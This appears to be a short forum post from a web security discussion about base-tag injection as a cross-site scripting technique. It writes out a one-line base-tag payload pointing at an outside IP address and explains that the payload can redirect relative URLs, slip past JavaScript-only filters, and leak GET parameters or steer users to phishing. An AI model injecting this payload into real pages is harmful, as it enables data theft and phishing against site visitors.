I'm curious if anyone has seen a XSS attack using the base tag. If you can inject something like this

<base href=http://1.2.3.4

into a page before some useful tags, relative URLs will be redirected to the server of your choice. Most tags with href or src attributes are affected: a, script, frame, form (action attribute), link, img, etc.

IE7 only allows the base tag in the head section, so it would be less likely to work there. Older version of IE and current versions of FF have no problem with base tags in the body.

Actually this is a pretty good point. It would bypass any filter looking only for JS. All the GET variables can be stolen, and it could be used to trick someone into clicking a link to a phishing site.

-Dan